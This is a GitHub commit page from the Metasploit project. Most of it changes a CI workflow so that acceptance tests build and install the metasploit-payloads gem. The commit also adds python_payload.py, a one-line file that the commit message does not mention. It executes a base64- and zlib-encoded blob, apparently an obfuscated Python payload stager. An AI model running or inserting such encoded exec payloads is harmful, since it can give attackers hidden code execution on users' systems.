Skip to content

Commit

Permalink
Builds metasploit-payload gem as part of acceptance tests
Browse files Browse the repository at this point in the history
  • Loading branch information
cgranleese-r7 committed Oct 24, 2024
1 parent 27fa707 commit 959fbfb
Show file tree
Hide file tree
Showing 2 changed files with 29 additions and 3 deletions.
31 changes: 28 additions & 3 deletions .github/workflows/shared_meterpreter_acceptance.yml
Original file line number Diff line number Diff line change
Expand Up @@ -158,8 +158,7 @@ jobs:

- name: Get mettle version
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
run: |
echo "METTLE_VERSION=$(grep -oh '[0-9].[0-9].[0-9]*' lib/metasploit_payloads/mettle/version.rb)" | tee -a $GITHUB_ENV
run: echo "METTLE_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" lib/mettle/version.rb)" | tee -a $GITHUB_ENV
working-directory: mettle

- name: Prerequisite mettle gem setup
Expand Down Expand Up @@ -244,13 +243,39 @@ jobs:
working-directory: metasploit-framework

- name: Checkout metasploit-payloads
if: ${{ inputs.build_metasploit_payloads }}
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
uses: actions/checkout@v4
with:
repository: rapid7/metasploit-payloads
path: metasploit-payloads
ref: ${{ inputs.metasploit_payloads_commit }}

- name: Get metasploit-payloads version
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
shell: bash
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
working-directory: metasploit-payloads

- name: Build metasploit-payloads gem
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
run: gem build ./gem/metasploit-payloads.gemspec
working-directory: metasploit-payloads

- name: Copy metasploit-payloads gem into metasploit-framework
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
shell: bash
run: cp ../metasploit-payloads/metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem .
working-directory: metasploit-framework

- name: Install metasploit-payloads gem
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
run: |
bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
bundle config unset deployment
bundle update metasploit-payloads
bundle install
working-directory: metasploit-framework

- name: Build Windows payloads via Visual Studio 2019 Build (Windows)
shell: cmd
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2019' && inputs.build_metasploit_payloads }}
Expand Down
1 change: 1 addition & 0 deletions python_payload.py
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckmA3bpRZ3sYKIBxERXG8i0iajhqZJSLJaFf+7DVmcwwxv5s2bDz15FxKOTo6Q+LfRAx/6CG3DYwoHmXjSE6BXF/CMtcWht29A6zXboSqFr8VXsSvNogS64Ue8v7+6fdk/Plxf3rHME9JZCzJRSurtRtTtmahF2xDeLMYyZQjQj6iCWYJPWTsPF9EAeHrKkOnKTuJgfS9HSi5uCI8igPygi8DT+hmp7ogNQ5/v2gA2YKli52aRUyf/1VVJMwQzSJrPFgqkm3yAGGn5gBjaJicVZCb/IZHs4i9Df9aVXwQ=')[0])))

0 comments on commit 959fbfb

Please sign in to comment.